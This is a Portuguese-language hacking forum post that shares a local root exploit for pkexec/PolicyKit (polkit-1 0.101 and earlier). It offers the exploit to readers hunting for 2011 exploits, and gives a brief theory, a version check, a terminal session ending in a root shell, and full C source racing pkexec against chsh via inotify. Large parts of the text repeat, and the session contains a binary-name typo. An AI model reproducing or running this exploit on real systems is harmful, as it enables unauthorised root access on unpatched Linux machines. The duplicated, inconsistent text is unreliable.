Ola a todos, Como sei que o pessoal ta doido atras de xpl's 2011, que nao tão achando nem ferrando, vou começar a postar alguns funfado, para ajudar a massa.
Esse que Explora o binario pkexec(PolicyKit) que Pode ser "facilmente" explorado para ganhar uid 0
Téorico:
Pkexec em plano de fundo pode Acessar uid 0 (root) para fazer consultas, em sua função , entao redirecionando sua função para stat(0)(roda em stat(2) por padrão), conseguimos adquirir permissão root.
Requisitos:
polkit-1 <= 0.101
ou seja, essa versão ou abaixo esta vulneravel.
Se tiver o serviço rodando conseguimos root!
Na segunda linha mostro como saber se tenho o mesmo:
Proof of concept:
Binário já compilado por min:
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Source:
Abraço a todos.
Esse que Explora o binario pkexec(PolicyKit) que Pode ser "facilmente" explorado para ganhar uid 0
Téorico:
Pkexec em plano de fundo pode Acessar uid 0 (root) para fazer consultas, em sua função , entao redirecionando sua função para stat(0)(roda em stat(2) por padrão), conseguimos adquirir permissão root.
Requisitos:
polkit-1 <= 0.101
ou seja, essa versão ou abaixo esta vulneravel.
Se tiver o serviço rodando conseguimos root!
Na segunda linha mostro como saber se tenho o mesmo:
pkexec --version
resultado:
pkexec version 0.101
resultado:
pkexec version 0.101
$ pkexec --version
$ pkexec version 0.101
$ gcc polkit-pwnage.c -o pwnit
$ chmod 777 pwinit
$ ./pwnit
[+] Configuring inotify for proper pid.
[+] Launching pkexec.
sh-4.2# whoami
root
sh-4.2# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
sh-4.2#
$ pkexec version 0.101
$ gcc polkit-pwnage.c -o pwnit
$ chmod 777 pwinit
$ ./pwnit
[+] Configuring inotify for proper pid.
[+] Launching pkexec.
sh-4.2# whoami
root
sh-4.2# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
sh-4.2#
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Source:
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/inotify.h>
int main(int argc, char **argv)
{
printf("=============================\n");
printf("= PolicyKit Pwnage =\n");
printf("= by zx2c4 =\n");
printf("= Sept 2, 2011 =\n");
printf("=============================\n\n");
if (fork()) {
int fd;
char pid_path[1024];
sprintf(pid_path, "/proc/%i", getpid());
printf("[+] Configuring inotify for proper pid.\n");
close(0); close(1); close(2);
fd = inotify_init();
if (fd < 0)
perror("[-] inotify_init");
inotify_add_watch(fd, pid_path, IN_ACCESS);
read(fd, NULL, 0);
execl("/usr/bin/chsh", "chsh", NULL);
} else {
sleep(1);
printf("[+] Launching pkexec.\n");
execl("/usr/bin/pkexec", "pkexec", "/bin/sh", NULL);
}
return 0;
}
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/inotify.h>
int main(int argc, char **argv)
{
printf("=============================\n");
printf("= PolicyKit Pwnage =\n");
printf("= by zx2c4 =\n");
printf("= Sept 2, 2011 =\n");
printf("=============================\n\n");
if (fork()) {
int fd;
char pid_path[1024];
sprintf(pid_path, "/proc/%i", getpid());
printf("[+] Configuring inotify for proper pid.\n");
close(0); close(1); close(2);
fd = inotify_init();
if (fd < 0)
perror("[-] inotify_init");
inotify_add_watch(fd, pid_path, IN_ACCESS);
read(fd, NULL, 0);
execl("/usr/bin/chsh", "chsh", NULL);
} else {
sleep(1);
printf("[+] Launching pkexec.\n");
execl("/usr/bin/pkexec", "pkexec", "/bin/sh", NULL);
}
return 0;
}
Comment